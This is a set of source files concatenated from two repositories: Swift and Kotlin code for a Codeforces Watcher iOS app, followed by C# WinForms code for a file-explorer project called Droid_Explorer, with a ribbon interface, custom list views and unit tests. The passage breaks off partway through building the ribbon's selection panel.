problem.russianTitle.lowercased().contains(text.lowercased())) {
filteredProblemItems.append(problem)
}
}
tableAdapter.problemItems = text.isEmpty ? store.state.problems.problemItems : filteredProblemItems
tableView.reloadData()
}
func newState(state: ProblemsState) {
if (state.status == ProblemsState.Status.IDLE) {
refreshControl.endRefreshing()
}
tableAdapter.problemItems = state.problemItems
updateSearchResults(for: searchController)
tableView.reloadData()
}
@objc private func refreshProblems(_ sender: Any) {
Analytics.logEvent("problems_list_refresh", parameters: [:])
fetchProblems()
}
func fetchProblems() {
store.dispatch(ProblemsRequests.FetchProblems())
}
func buildViewTree() {
view.addSubview(tableView)
}
func setConstraints() {
tableView.edgesToSuperview()
}
}
<file_sep>//
// User.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/6/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import ObjectMapper
struct User: Mappable {
var handle: String!
var avatar: String!
var rank: String!
init?(map: Map) {}
mutating func mapping(map: Map) {
handle <- map["handle"]
avatar <- map["avatar"]
rank <- map["rank"]
}
}
func colorTextByUserRank(text: String, rank: String?) -> NSMutableAttributedString {
var color = UIColor()
switch (rank) {
case nil:
color = Pallete.black
case "newbie":
color = Pallete.grey
case "pupil":
color = Pallete.green
case "specialist":
color = Pallete.blueGreen
case "expert":
color = Pallete.blue
case "candidate master":
color = Pallete.purple
case "master":
color = Pallete.orange
case "international master":
color = Pallete.orange
case "grandmaster":
color = Pallete.red
case "international grandmaster", "legendary grandmaster":
color = Pallete.red
default:
color = Pallete.grey
}
let attributedText = NSMutableAttributedString.init(string: text)
attributedText.addAttribute(NSAttributedString.Key.foregroundColor, value: color, range: NSRange(location: 0, length: text.count))
if (rank == "legendary grandmaster") {
attributedText.addAttribute(NSAttributedString.Key.foregroundColor, value: Pallete.black, range: NSRange(location: 0, length: 1))
}
return attributedText
}
<file_sep>package io.xorum.codeforceswatcher.features.add_user.redux.actions
import tw.geothings.rekotlin.Action
class AddUserActions {
class ClearAddUserState : Action
}
<file_sep>//
// ContestItem.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/15/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import UIKit
struct ContestItem {
var name: String!
var startTime: String!
var startDate: Date
var endDate: Date
var phase: String!
var id: Int?
var icon: UIImage!
var link: String!
var shareText: String!
var site: Platform!
init(_ contest: CodeforcesContest) {
phase = contest.phase
id = contest.id
startTime = contest.startTimeSeconds.secondsToDateString()
name = contest.name
startDate = Date(timeIntervalSince1970: contest.startTimeSeconds)
endDate = Date(timeIntervalSince1970: contest.startTimeSeconds + contest.durationSeconds)
link = "\(codeforcesLink)/contestRegistration/\(id!)"
shareText = """
\(name!) - \(link!)
Shared through Codeforces Watcher. Find it on App Store.
"""
site = .codeforces
icon = UIImage(named: site.rawValue)
}
init(_ contest: CommonContest) {
name = contest.name
startDate = contest.startTime.dateStringToDate()
startTime = startDate.timeIntervalSince1970.secondsToDateString()
endDate = contest.endTime.dateStringToDate()
phase = contest.phase
id = nil
link = contest.link
shareText = """
\(name!) - \(link!)
Shared through Codeforces Watcher. Find it on App Store.
"""
site = contest.site
icon = UIImage(named: site.rawValue)
}
}
<file_sep>//
// ActionsViewController.swift
// Codeforces Watcher
//
// Created by <NAME> on 12/31/19.
// Copyright © 2019 xorum.io. All rights reserved.
//
import UIKit
import TinyConstraints
import WebKit
import ReSwift
import FirebaseAnalytics
class ActionsViewController: UIViewController, StoreSubscriber {
private let tableView = UITableView()
private let tableAdapter = ActionsTableViewAdapter()
private let refreshControl = UIRefreshControl()
override func viewDidLoad() {
super.viewDidLoad()
setupView()
setupTableView()
fetchActions()
}
override func viewWillAppear(_ animated: Bool) {
super.viewWillAppear(animated)
store.subscribe(self) { subcription in
subcription.select { state in state.actions }
}
}
override func viewWillDisappear(_ animated: Bool) {
super.viewWillDisappear(animated)
store.unsubscribe(self)
}
func newState(state: ActionsState) {
if (state.status == .IDLE) {
refreshControl.endRefreshing()
}
tableAdapter.actionItems = state.actionItems
tableView.reloadData()
}
func setupView() {
self.navigationController?.interactivePopGestureRecognizer?.isEnabled = false
view.backgroundColor = .white
buildViewTree()
setConstraints()
}
@objc private func refreshActions(_ sender: Any) {
Analytics.logEvent("actions_list_refresh", parameters: [:])
fetchActions()
}
func setupTableView() {
tableView.run {
$0.delegate = tableAdapter
$0.dataSource = tableAdapter
$0.separatorStyle = .none
}
[CommentTableViewCell.self, BlogEntryTableViewCell.self, NoActionsTableViewCell.self].forEach(tableView.registerForReuse(cellType:))
tableAdapter.onActionClick = { (link, shareText) in
let webViewController = WebViewController().apply {
$0.link = link
$0.shareText = shareText
$0.openEventName = "action_opened"
$0.shareEventName = "action_share_comment"
}
self.navigationController?.pushViewController(webViewController, animated: true)
}
tableView.refreshControl = refreshControl
refreshControl.run {
$0.addTarget(self, action: #selector(refreshActions(_:)), for: .valueChanged)
$0.tintColor = Pallete.colorPrimaryDark
}
}
func fetchActions() {
store.dispatch(ActionsRequests.FetchActions())
}
func buildViewTree() {
view.addSubview(tableView)
}
func setConstraints() {
tableView.edgesToSuperview()
}
}
<file_sep>//
// FilterViewController.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/28/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import UIKit
class FiltersViewController: UIViewController {
private let tableView = UITableView()
private let tableAdapter = FiltersTableViewAdapter()
private let switchView = UISwitch()
override func viewDidLoad() {
super.viewDidLoad()
setupView()
setupTableView()
}
func setupView() {
view.backgroundColor = Pallete.white
self.title = "Filter".localized
buildViewTree()
setConstraints()
}
func setupTableView() {
tableView.run {
$0.delegate = tableAdapter
$0.dataSource = tableAdapter
$0.separatorStyle = .none
$0.rowHeight = 58
}
tableView.registerForReuse(cellType: FilterTableViewCell.self)
}
func buildViewTree() {
view.addSubview(tableView)
}
func setConstraints() {
tableView.edgesToSuperview()
}
}
<file_sep>//
// ProblemsTableViewAdapter.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/17/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import Foundation
import UIKit
class ProblemsTableViewAdapter: NSObject, UITableViewDelegate, UITableViewDataSource {
var problemItems: [ProblemItem] = []
var onProblemClick: ((String, String) -> ())?
func numberOfSections(in tableView: UITableView) -> Int {
return 1
}
func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {
if (problemItems.isEmpty) {
return 1
}
return problemItems.count
}
func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {
if (problemItems.isEmpty) {
return tableView.dequeueReusableCell(cellType: NoProblemsTableViewCell.self)
}
return tableView.dequeueReusableCell(cellType: ProblemTableViewCell.self).apply {
$0.bind(problemItems[indexPath.row])
}
}
func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {
if (problemItems.isEmpty) {
return
}
let problem = problemItems[indexPath.row]
onProblemClick?(problem.link, problem.shareText)
}
func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat {
if (problemItems.isEmpty) {
return tableView.frame.height - 2 * tableView.tableHeaderView!.frame.height
} else {
return 63
}
}
}
<file_sep>//
// blogEntry.swift
// Codeforces Watcher
//
// Created by <NAME> on 12/31/19.
// Copyright © 2019 xorum.io. All rights reserved.
//
import Foundation
import ObjectMapper
struct BlogEntry: Mappable {
var id: Int!
var title: String!
var content: String!
var authorHandle: String!
var creationTimeSeconds: Int!
var modificationTimeSeconds: Int!
init?(map: Map) {}
mutating func mapping(map: Map) {
id <- map["id"]
title <- map["title"]
content <- map["content"]
authorHandle <- map["authorHandle"]
creationTimeSeconds <- map["creationTimeSeconds"]
modificationTimeSeconds <- map["modificationTimeSeconds"]
}
}
<file_sep>//
// ActionsCell.swift
// Codeforces Watcher
//
// Created by <NAME> on 1/8/20.
// Copyright © 2020 xorum.io. All rights reserved.
//
import UIKit
import SDWebImage
class BlogEntryTableViewCell: UITableViewCell {
private let cardView = CardView()
private let blogEntryTitleLabel = UILabel().apply {
$0.font = Font.textHeading
$0.textColor = Pallete.black
}
private let userImage = UIImageView().apply {
$0.layer.run {
$0.cornerRadius = 18
$0.masksToBounds = true
$0.borderWidth = 1
$0.borderColor = Pallete.colorPrimary.cgColor
}
}
private let userHandleLabel = UILabel().apply {
$0.textColor = Pallete.green
$0.font = Font.textSubheading
}
private let someTimeAgoLabel = UILabel().apply {
$0.textColor = Pallete.grey
$0.font = Font.textSubheading
}
private let detailsLabel = UILabel().apply {
$0.numberOfLines = 1
$0.textColor = Pallete.grey
$0.font = Font.textBody
$0.text = "Created or updated the text, click to see details..."
}
override init(style: UITableViewCell.CellStyle, reuseIdentifier: String?) {
super.init(style: style, reuseIdentifier: reuseIdentifier)
setupView()
}
required init?(coder aDecoder: NSCoder) {
super.init(coder: aDecoder)
setupView()
}
private func setupView() {
self.selectionStyle = .none
buildViewTree()
setConstraints()
}
private func buildViewTree() {
contentView.addSubview(cardView)
[blogEntryTitleLabel, userImage, userHandleLabel, someTimeAgoLabel, detailsLabel].forEach(cardView.addSubview)
}
private func setConstraints() {
cardView.edgesToSuperview(insets: UIEdgeInsets(top: 8, left: 8, bottom: 0, right: 8))
userImage.run {
$0.leadingToSuperview(offset: 8)
$0.topToSuperview(offset: 8)
$0.height(36)
$0.width(36)
}
blogEntryTitleLabel.run {
$0.topToSuperview(offset: 8)
$0.trailingToSuperview(offset: 8)
$0.leadingToTrailing(of: userImage, offset: 8)
}
userHandleLabel.run {
$0.leadingToTrailing(of: userImage, offset: 8)
$0.trailingToLeading(of: someTimeAgoLabel)
$0.topToBottom(of: blogEntryTitleLabel, offset: 4)
$0.setContentHuggingPriority(.defaultHigh, for: .horizontal)
}
someTimeAgoLabel.run {
$0.topToBottom(of: blogEntryTitleLabel, offset: 4)
$0.leadingToTrailing(of: userHandleLabel)
$0.trailingToSuperview(offset: 8)
}
detailsLabel.run {
$0.topToBottom(of: userImage, offset: 14)
$0.leadingToSuperview(offset: 8)
$0.trailingToSuperview(offset: 8)
$0.bottomToSuperview(offset: -8)
}
}
func bind(actionItem: ActionItem.BlogEntryItem) {
blogEntryTitleLabel.text = actionItem.blogTitle
userHandleLabel.attributedText = actionItem.authorHandle
someTimeAgoLabel.text = " - \(actionItem.time) " + "ago".localized
userImage.sd_setImage(with: URL(string: actionItem.authorAvatar), placeholderImage: noImage)
}
}
|
b06ac304753f8ce297e6ab557ff9821530585d50
|
[
"Swift",
"Kotlin"
] | 74
|
Swift
|
jpappdesigns/codeforces_watcher
|
fb8c803cd1cf17b4bde09dfc51be8322de379162
|
46cd6ac38da540b3f4d56bf5b30d119ca6e85778
|
refs/heads/master
|
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Drawing;
namespace Droid_Explorer
{
public struct Detail
{
public RichListViewItem.Family DetFamily;
public string DetValue;
}
public class RichListViewItem
{
#region enum
public enum Format
{
MINUS = 16,
SMALL = 32,
MEDIUM = 48,
LARGE = 220
}
public enum Family
{
Label,
ProgressBar
}
#endregion
#region Attribute
private string _text;
private List<Detail> _details;
private Format _format = Format.MEDIUM;
private int _imageIndex;
private string _group;
#endregion
#region Properties
public string Group
{
get { return _group; }
set { _group = value; }
}
public int ImageIndex
{
get { return _imageIndex; }
set { _imageIndex = value; }
}
public string Text
{
get { return _text; }
set { _text = value; }
}
public List<Detail> Details
{
get { return _details; }
set { _details = value; }
}
public Format Size
{
get { return _format; }
set { _format = value; }
}
#endregion
#region Constructor
public RichListViewItem()
{
_details = new List<Detail>();
}
public RichListViewItem(string text)
{
_details = new List<Detail>();
this.Text = text;
}
#endregion
}
}<file_sep>using System.Windows.Forms;
namespace Droid_Explorer
{
public partial class Monitor : Form
{
public Monitor()
{
InitializeComponent();
}
}
}
<file_sep>using System.Windows.Forms;
namespace Droid_Explorer
{
public partial class Edit : Form
{
public Edit()
{
InitializeComponent();
}
}
}
<file_sep>using System.Windows.Forms;
namespace Droid_Explorer
{
public class RichContextMenu : ContextMenuStrip
{
#region Attribute
#endregion
#region Properties
#endregion
#region Constructor
public RichContextMenu()
{
InitializeComponent();
}
#endregion
#region Methods private
private void InitializeComponent()
{
BuildMenuItems();
}
private void BuildMenuItems()
{
ToolStripMenuItem tsi;
ToolStripSeparator tss;
tsi = new ToolStripMenuItem("Open");
tsi.Enabled = true;
//tsi.ShortcutKeyDisplayString = "O";
//tsi.ShortcutKeys = Keys.O;
this.Items.Add(tsi);
tss = new ToolStripSeparator();
this.Items.Add(tss);
tsi = new ToolStripMenuItem("Copy");
tsi.Enabled = false;
this.Items.Add(tsi);
tsi = new ToolStripMenuItem("Cut");
tsi.Enabled = false;
this.Items.Add(tsi);
tss = new ToolStripSeparator();
this.Items.Add(tss);
tsi = new ToolStripMenuItem("Delete");
tsi.Enabled = false;
this.Items.Add(tsi);
tsi = new ToolStripMenuItem("Rename");
tsi.Enabled = false;
this.Items.Add(tsi);
tss = new ToolStripSeparator();
this.Items.Add(tss);
tsi = new ToolStripMenuItem("Properties");
tsi.Enabled = false;
this.Items.Add(tsi);
}
#endregion
}
}
<file_sep>using System.Windows.Forms;
namespace Droid_Explorer
{
public partial class GUI : Form
{
public GUI()
{
InitializeComponent();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
namespace Droid_Explorer
{
public struct MountPoint
{
public string label;
public DriveType type;
public long totalSpace;
public long freeSpace;
public string letter;
public string text;
}
public class ToolControler
{
#region Attribute
private string _currentPath;
private string[] _currentFileList;
private string[] _currentFolderList;
private List<MountPoint> _listMountPoint;
private MountPoint _currentMountPoint;
#endregion
#region Properties
public List<MountPoint> ListDrivers
{
get { return _listMountPoint; }
}
public string CurrentPath
{
get { return _currentPath; }
set
{
_currentPath = value;
UpdateCurrentMountPoint();
UpdateFileList();
UpdateFolderList();
}
}
public string[] CurrentFolderList
{
get { return _currentFolderList; }
set { _currentFolderList = value; }
}
public string[] CurrentFileList
{
get { return _currentFileList; }
set { _currentFileList = value; }
}
#endregion
#region Constructor
public ToolControler()
{
UpdateMountPoints();
}
#endregion
#region Methods public
#endregion
#region Methods private
private void UpdateMountPoints()
{
_currentMountPoint = new MountPoint();
_listMountPoint = new List<MountPoint>();
foreach (DriveInfo drive in DriveInfo.GetDrives())
{
MountPoint mp = new MountPoint();
mp.type = drive.DriveType;
mp.letter = drive.Name.Split(':')[0];
if (drive.DriveType == DriveType.Fixed)
{
mp.text = drive.VolumeLabel + " (" + drive.Name.Split('\\')[0] + ")";
mp.freeSpace = drive.AvailableFreeSpace;
mp.totalSpace = drive.TotalSize;
}
else if (drive.DriveType == DriveType.Network)
{
mp.text = drive.VolumeLabel + " (" + drive.Name.Split('\\')[0] + ")";
mp.freeSpace = drive.AvailableFreeSpace;
mp.totalSpace = drive.TotalSize;
}
else if (drive.DriveType == DriveType.CDRom)
{
mp.text = drive.DriveType + " (" + drive.Name.Split('\\')[0] + ")";
}
else
{
mp.text = drive.DriveType + " (" + drive.Name.Split('\\')[0] + ")";
}
_listMountPoint.Add(mp);
}
}
private void UpdateFileList()
{
if (_currentMountPoint.type == DriveType.Fixed || _currentMountPoint.type == DriveType.Network || _currentMountPoint.type == DriveType.Removable)
{
_currentFileList = Directory.GetFiles(_currentPath);
}
}
private void UpdateFolderList()
{
if (_currentMountPoint.type == DriveType.Fixed || _currentMountPoint.type == DriveType.Network || _currentMountPoint.type == DriveType.Removable)
{
_currentFolderList = Directory.GetDirectories(_currentPath);
}
}
private void UpdateCurrentMountPoint()
{
foreach (DriveInfo drive in DriveInfo.GetDrives())
{
if (_currentPath.Contains(drive.Name))
{
break;
}
}
}
#endregion
#region Event
#endregion
}
}<file_sep>using Droid_Explorer;
using NUnit.Framework;
using System.Windows.Forms;
namespace UnitTestProject
{
[TestFixture]
public class UnitTest
{
[Test]
public void TestUTRuns()
{
Assert.IsTrue(true);
}
[Test]
public void Test_tool_controler()
{
try
{
ToolControler tc = new ToolControler();
Assert.IsNotNull(tc.ListDrivers);
Assert.IsNotNull(tc.CurrentFileList);
Assert.IsNotNull(tc.CurrentFolderList);
Assert.IsNotNull(tc.CurrentPath);
}
catch (System.Exception exp)
{
Assert.Fail(exp.Message);
}
}
[Test]
public void Test_explorer_display()
{
try
{
RichExplorer re = new RichExplorer();
Assert.IsTrue(true);
}
catch (System.Exception exp)
{
Assert.Fail(exp.Message);
}
}
[Test]
public void Test_displays_deom()
{
try
{
Calendar c = new Calendar();
Edit e = new Edit();
GUI g = new GUI();
Monitor m = new Monitor();
Assert.IsTrue(true);
}
catch (System.Exception exp)
{
Assert.Fail(exp.Message);
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Drawing;
namespace Droid_Explorer
{
public class RichListView : Panel
{
#region Attribute
private List<RichListViewItem> _itemList;
private System.Windows.Forms.View _display;
private ImageList _imageList;
private List<string> _groups;
private int _panelComponentX;
private int _panelComponentY;
private int _panelX = 5;
private int _panelY = 5;
private int _tilesColumCapacity;
private RichListViewItem.Format _size;
#endregion
#region Properties
public List<RichListViewItem> Items
{
get { return _itemList; }
set { _itemList = value; }
}
public View Display
{
get { return _display; }
set { _display = value; }
}
public ImageList IconList
{
get { return _imageList; }
set { _imageList = value; }
}
public List<string> Groups
{
get { return _groups; }
set { _groups = value; }
}
public RichListViewItem.Format ComponentSize
{
get { return _size; }
set { _size = value; }
}
#endregion
#region Constructor
public RichListView()
{
InitializeComponent();
}
#endregion
#region Methods public
public void RefreshComponent()
{
if (this.Width / ((int)_size + 5) != _tilesColumCapacity)
{
_panelX = 5;
_panelY = 5;
this.Controls.Clear();
if (_display == View.Tile) DrawTiles();
else if (_display == View.Details) DrawTiles();
}
}
#endregion
#region Methods private
private void InitializeComponent()
{
this.Dock = DockStyle.Fill;
this.Resize += new EventHandler(RichListView_Resize);
_groups = new List<string>();
_itemList = new List<RichListViewItem>();
_display = View.Tile;
RefreshComponent();
}
private void DrawTiles()
{
foreach (RichListViewItem ril in _itemList)
{
DrawTile(ril);
}
}
private void DrawTile(RichListViewItem ril)
{
Panel p = new Panel();
switch (_size)
{
case RichListViewItem.Format.MINUS:
p.Width = (int)RichListViewItem.Format.MINUS;
p.Height = 32;
break;
case RichListViewItem.Format.SMALL:
p.Width = (int)RichListViewItem.Format.SMALL;
p.Height = 48;
break;
case RichListViewItem.Format.MEDIUM:
p.Width = (int)RichListViewItem.Format.MEDIUM;
p.Height = 64;
break;
case RichListViewItem.Format.LARGE:
p.Width = (int)RichListViewItem.Format.LARGE;
p.Height = 70;
break;
}
_tilesColumCapacity = this.Width / (p.Width + 5);
p.Name = ril.Text;
p.Top = _panelY;
p.Left = _panelX;
p.BackColor = Color.White;
CalculatePanelCoord(p);
PictureBox pb = new PictureBox();
pb.Width = 50;
pb.Height = 50;
pb.Image = this.IconList.Images[ril.ImageIndex > 0 ? ril.ImageIndex : 0];
pb.Top = 0;
pb.Left = 0;
p.Controls.Add(pb);
Label lb_text = new Label();
lb_text.Name = "text";
lb_text.Text = ril.Text;
lb_text.ForeColor = Color.Black;
lb_text.Height = 20;
lb_text.TextAlign = ContentAlignment.BottomLeft;
if (ril.Details.Count > 0)
{
lb_text.Top = 0;
lb_text.Left = 50;
}
else
{
lb_text.Top = 14;
lb_text.Left = 50;
}
p.Controls.Add(lb_text);
_panelComponentX = 50;
_panelComponentY = 26;
for (int i = 0; i < ril.Details.Count; i++)
{
switch (ril.Details[i].DetFamily)
{
case RichListViewItem.Family.Label:
DrawComponentLabel(p, ril.Details[i].DetValue);
break;
case RichListViewItem.Family.ProgressBar:
DrawComponentProgressBar(p, ril.Details[i].DetValue);
break;
}
}
this.Controls.Add(p);
}
private void DrawComponentLabel(Panel p, string val)
{
Label lb_desc = new Label();
lb_desc.Name = "desc_" + val;
lb_desc.Text = val;
lb_desc.Top = _panelComponentY;
lb_desc.Left = _panelComponentX;
lb_desc.BackColor = Color.Transparent;
lb_desc.Height = 20;
lb_desc.AutoSize = true;
lb_desc.ForeColor = Color.Gray;
p.Controls.Add(lb_desc);
_panelComponentX += lb_desc.Width + 4;
}
private void DrawComponentProgressBar(Panel p, string val)
{
int percent = 0;
int.TryParse(val, out percent);
RichProgressBar pba = new RichProgressBar();
pba.Name = "desc_" + val;
pba.Value = percent;
pba.Maximum = 100;
pba.Top = _panelComponentY;
pba.Left = _panelComponentX;
pba.Width = p.Width - 55;
pba.Height = 12;
pba.Style = ProgressBarStyle.Blocks;
pba.ForeColor = percent > 90 ? Color.Red : Color.DeepSkyBlue;
p.Controls.Add(pba);
_panelComponentY += pba.Height + 4;
}
private void CalculatePanelCoord(Panel p)
{
if (_panelX + 5 + (2 * p.Width) > this.Width)
{
_panelX = 5;
_panelY += 5 + p.Height;
}
else
{
_panelX += 5 + p.Width;
}
}
#endregion
#region Event
private void RichListView_Resize(object sender, EventArgs e)
{
RefreshComponent();
}
#endregion
}
}<file_sep>/*
* Created by SharpDevelop.
* User: tmontauf040213
* Date: 26/12/2013
* Time: 17:04
*
* To change this template use Tools | Options | Coding | Edit Standard Headers.
*/
using System;
using System.Windows.Forms;
using Droid_Tobi;
namespace Droid_Explorer
{
/// <summary>
/// Description of MainForm.
/// </summary>
public partial class RichExplorer : Form
{
#region Attribute
private Ribbon _ribbon;
private RibbonTab _tabWelcome;
private RibbonTab _tabSharing;
private RibbonTab _tabDisplay;
private RibbonPanel _panelClipBoard;
private RibbonPanel _panelOrganisation;
private RibbonPanel _panelNew;
private RibbonPanel _panelOpen;
private RibbonPanel _panelSelection;
private RibbonButton _pinInQuickAccess;
private RibbonButton _copy;
private RibbonButton _paste;
private RibbonButton _cut;
private RibbonButton _copyAccessPath;
private RibbonButton _pasteShortcut;
private RibbonButton _moveTo;
private RibbonButton _copyTo;
private RibbonButton _delete;
private RibbonButton _rename;
private RibbonButton _newFolder;
private RibbonButton _newElement;
private RibbonButton _quickAccess;
private RibbonButton _properties;
private RibbonButton _open;
private RibbonButton _edit;
private RibbonButton _history;
private RibbonButton _selectAll;
private RibbonButton _selectNone;
private RibbonButton _selectInvert;
private RibbonPanel _panelSend;
private RibbonPanel _panelShareWith;
private RibbonPanel _panelSecurity;
private RibbonButton _share;
private RibbonButton _mail;
private RibbonButton _zip;
private RibbonButton _burn;
private RibbonButton _print;
private RibbonButton _fax;
private RibbonButtonList _sharingGroups;
private RibbonButton _stopSharing;
private RibbonButton _advancedSecurity;
private RibbonPanel _panelComponent;
private RibbonPanel _panelDisposition;
private RibbonPanel _panelCurrentDisplay;
private RibbonPanel _panelDisplayHide;
private RibbonButton _componentNavitation;
private RibbonButton _componentVisualisation;
private RibbonButton _componentDetails;
private RibbonButtonList _dispositionList;
private RibbonButton _veryBigIcon;
private RibbonButton _bigIcon;
private RibbonButton _mediumIcon;
private RibbonButton _smallIcon;
private RibbonButton _listIcon;
private RibbonButton _detailIcon;
private RibbonButton _mosaiqueIcon;
private RibbonButton _contentIcon;
private RibbonButton _sort;
private RibbonButton _groupBy;
private RibbonButton _addColumns;
private RibbonButton _adjustColumnsSize;
private RibbonCheckBox _compenentCheckBoxes;
private RibbonCheckBox _fileExtentionDisplay;
private RibbonCheckBox _displayHidenComponents;
private RibbonButton _hideSelectedComponents;
private RibbonTabTobi _tobiTab;
#endregion
#region Properties
#endregion
#region Constructor
public RichExplorer()
{
InitializeComponent();
Init();
}
#endregion
#region Methods public
#endregion
#region Methods private
private void Init()
{
_ribbon = new Ribbon();
_ribbon.Height = 150;
_ribbon.OrbStyle = RibbonOrbStyle.Office_2013;
_ribbon.OrbText = "Fichier";
this.Controls.Add(_ribbon);
BuildTabWelcome();
BuildTabSharing();
BuildTabDisplay();
BuildTabTobi();
}
private void BuildTabTobi()
{
_tobiTab = new RibbonTabTobi();
_ribbon.Tabs.Add(_tobiTab);
_tobiTab.TobiOut.TextBoxWidth = _ribbon.Width - 200;
_tobiTab.TobiIn.TextBoxWidth = _ribbon.Width - 200;
_ribbon.Resize += _ribbon_Resize;
}
private void BuildTabWelcome()
{
_tabWelcome = new RibbonTab("Accueil");
_ribbon.Tabs.Add(_tabWelcome);
#region ClipBoard
_panelClipBoard = new RibbonPanel("Presse-papiers");
_panelClipBoard.Image = Tools4Libraries.Resources.ResourceIconSet16Default.pressePapier;
_tabWelcome.Panels.Add(_panelClipBoard);
_pinInQuickAccess = new RibbonButton("Epingler dans accès rapide");
_pinInQuickAccess.MinSizeMode = RibbonElementSizeMode.Large;
_pinInQuickAccess.LargeImage = Tools4Libraries.Resources.ResourceIconSet32Default.pin;
_panelClipBoard.Items.Add(_pinInQuickAccess);
_copy = new RibbonButton("Copier");
_copy.MinSizeMode = RibbonElementSizeMode.Large;
_copy.LargeImage = Tools4Libraries.Resources.ResourceIconSet32Default.copy;
_panelClipBoard.Items.Add(_copy);
_paste = new RibbonButton("Coller");
_paste.MinSizeMode = RibbonElementSizeMode.Large;
_paste.LargeImage = Tools4Libraries.Resources.ResourceIconSet32Default.paste;
_panelClipBoard.Items.Add(_paste);
_cut = new RibbonButton("Couper");
_cut.MaxSizeMode = RibbonElementSizeMode.Medium;
_cut.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.cut;
_panelClipBoard.Items.Add(_cut);
_copyAccessPath = new RibbonButton("Copier le chemin d'accès");
_copyAccessPath.MaxSizeMode = RibbonElementSizeMode.Medium;
_copyAccessPath.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.path;
_panelClipBoard.Items.Add(_copyAccessPath);
_pasteShortcut = new RibbonButton("Coller le raccourci");
_pasteShortcut.MaxSizeMode = RibbonElementSizeMode.Medium;
_pasteShortcut.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.shortcut;
_panelClipBoard.Items.Add(_pasteShortcut);
#endregion
#region Organisation
_panelOrganisation = new RibbonPanel("Organiser");
_panelOrganisation.Image = Tools4Libraries.Resources.ResourceIconSet16Default.delete;
_tabWelcome.Panels.Add(_panelOrganisation);
_moveTo = new RibbonButton("Déplacer vers");
_moveTo.LargeImage = Tools4Libraries.Resources.ResourceIconSet32Default.moveto;
_moveTo.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.moveto;
_panelOrganisation.Items.Add(_moveTo);
_copyTo = new RibbonButton("Copier vers");
_copyTo.LargeImage = Tools4Libraries.Resources.ResourceIconSet32Default.copyto;
_copyTo.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.copyto;
_panelOrganisation.Items.Add(_copyTo);
_delete = new RibbonButton("Supprimer");
_delete.LargeImage = Tools4Libraries.Resources.ResourceIconSet32Default.delete;
_delete.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.delete;
_panelOrganisation.Items.Add(_delete);
_rename = new RibbonButton("Renommer");
_rename.LargeImage = Tools4Libraries.Resources.ResourceIconSet32Default.rename;
_rename.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.rename;
_panelOrganisation.Items.Add(_rename);
#endregion
#region New
_panelNew = new RibbonPanel("Nouveau");
_panelNew.Image = Tools4Libraries.Resources.ResourceIconSet16Default.folder;
_tabWelcome.Panels.Add(_panelNew);
_newFolder = new RibbonButton("Nouveau dossier");
_newFolder.MinSizeMode = RibbonElementSizeMode.Large;
_newFolder.LargeImage = Tools4Libraries.Resources.ResourceIconSet32Default.folder;
_panelNew.Items.Add(_newFolder);
_newElement = new RibbonButton("Nouvel élément");
_newElement.MaxSizeMode = RibbonElementSizeMode.Medium;
_newElement.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.newElement;
_panelNew.Items.Add(_newElement);
_quickAccess = new RibbonButton("Accès rapide");
_quickAccess.MaxSizeMode = RibbonElementSizeMode.Medium;
_quickAccess.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.quickAccess;
_panelNew.Items.Add(_quickAccess);
#endregion
#region Open
_panelOpen = new RibbonPanel("Ouvrir");
_panelOpen.Image = Tools4Libraries.Resources.ResourceIconSet16Default.open;
_tabWelcome.Panels.Add(_panelOpen);
_properties = new RibbonButton("Propriétés");
_properties.MinSizeMode = RibbonElementSizeMode.Large;
_properties.LargeImage = Tools4Libraries.Resources.ResourceIconSet32Default.properties;
_panelOpen.Items.Add(_properties);
_open = new RibbonButton("Ouvrir");
_open.MaxSizeMode = RibbonElementSizeMode.Medium;
_open.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.open;
_panelOpen.Items.Add(_open);
_edit = new RibbonButton("Editer");
_edit.MaxSizeMode = RibbonElementSizeMode.Medium;
_edit.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.modify;
_panelOpen.Items.Add(_edit);
_history = new RibbonButton("Historique");
_history.MaxSizeMode = RibbonElementSizeMode.Medium;
_history.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.history;
_panelOpen.Items.Add(_history);
#endregion
#region Selection
_panelSelection = new RibbonPanel("Selection");
_panelSelection.Image = Tools4Libraries.Resources.ResourceIconSet16Default.select;
_tabWelcome.Panels.Add(_panelSelection);
_selectAll = new RibbonButton("Tout sélectionner");
_selectAll.MaxSizeMode = RibbonElementSizeMode.Medium;
_selectAll.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.select;
_panelSelection.Items.Add(_selectAll);
_selectNone = new RibbonButton("Aucun");
_selectNone.MaxSizeMode = RibbonElementSizeMode.Medium;
_selectNone.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.selectnone;
_panelSelection.Items.Add(_selectNone);
_selectInvert = new RibbonButton("Inverser la sélection");
_selectInvert.MaxSizeMode = RibbonElementSizeMode.Medium;
_selectInvert.MinSizeMode = RibbonElementSizeMode.Medium;
_selectInvert.SmallImage = Tools4Libraries.Resources.ResourceIconSet16Default.selectinvert;
